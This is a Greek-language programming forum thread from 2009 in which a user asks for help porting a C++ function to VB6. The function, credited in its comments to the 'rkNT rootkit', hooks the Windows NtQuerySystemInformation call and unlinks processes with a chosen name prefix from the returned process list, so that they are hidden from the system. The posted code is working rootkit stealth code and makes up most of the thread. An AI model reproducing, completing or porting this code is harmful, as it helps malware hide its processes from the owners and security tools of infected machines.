ntaryl Δημοσ. 8 Δεκεμβρίου 2009 Δημοσ. 8 Δεκεμβρίου 2009 Γεια σας και παλι Προσπαθω να μετατρεψω ενα κομματι κωδικα απο C++ σε VB6 διαβαζω λιγακι και προσπαθω να καταλαβω πως δουλευει ... Εχω ομως αποριες αφου στην συγκεκριμενη γλωσσα ειμαι στουρναρακι > while (1) char *pname = NULL; ευχαριστω πολυ
virxen75 Δημοσ. 9 Δεκεμβρίου 2009 Δημοσ. 9 Δεκεμβρίου 2009 στείλε περισσότερο κώδικα για να πάρεις πιο σαφή απάντηση ως προς την μετατροπή.
ntaryl Δημοσ. 9 Δεκεμβρίου 2009 Μέλος Δημοσ. 9 Δεκεμβρίου 2009 Ευχαριστω πολυ φιλε μου προσπαθω να μετατρεψω το παρακατω > /* MyNtQuerySystemInformation : install a hook at system query level to prevent _nti* processes from being shown. Thanks to R-e-d for this function released in rkNT rootkit. (error checks stripped) */ DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec; char *pname = NULL; DWORD rc; /* 1st of all, get the return value of the function */ rc = fNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); /* if sucessful, perform sorting */ if (rc == STATUS_SUCCESS) { /* system info */ switch (SystemInformationClass) { /* process list */ case SystemProcessInformation: pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION) SystemInformation; while (1) { /* alloc memory to save process name in AINSI 8bits string charset */ pname = (char *) GlobalAlloc(GMEM_ZEROINIT, pSpiCurrent->ProcessName.Length + 2); /* Convert unicode string to ainsi */ WideCharToMultiByte(CP_ACP, 0, pSpiCurrent->ProcessName.Buffer, pSpiCurrent->ProcessName.Length + 1, pname, pSpiCurrent->ProcessName.Length + 1, NULL, NULL); /* if "hidden" process*/ if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR, strlen(RTK_PROCESS_CHAR))) { /* First process */ if (pSpiCurrent->NextEntryDelta == 0) { pSpiPrec->NextEntryDelta = 0; break; } else { pSpiPrec->NextEntryDelta += pSpiCurrent->NextEntryDelta; pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION) ((PCHAR) pSpiCurrent + pSpiCurrent->NextEntryDelta); } } else { if (pSpiCurrent->NextEntryDelta == 0) break; pSpiPrec = pSpiCurrent; /* Walk the list */ pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION) ((PCHAR) pSpiCurrent + pSpiCurrent->NextEntryDelta); } GlobalFree(pname); } /* /while */ break; } /* /switch */ } /* /if */ return (rc); }
Προτεινόμενες αναρτήσεις
Αρχειοθετημένο
Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.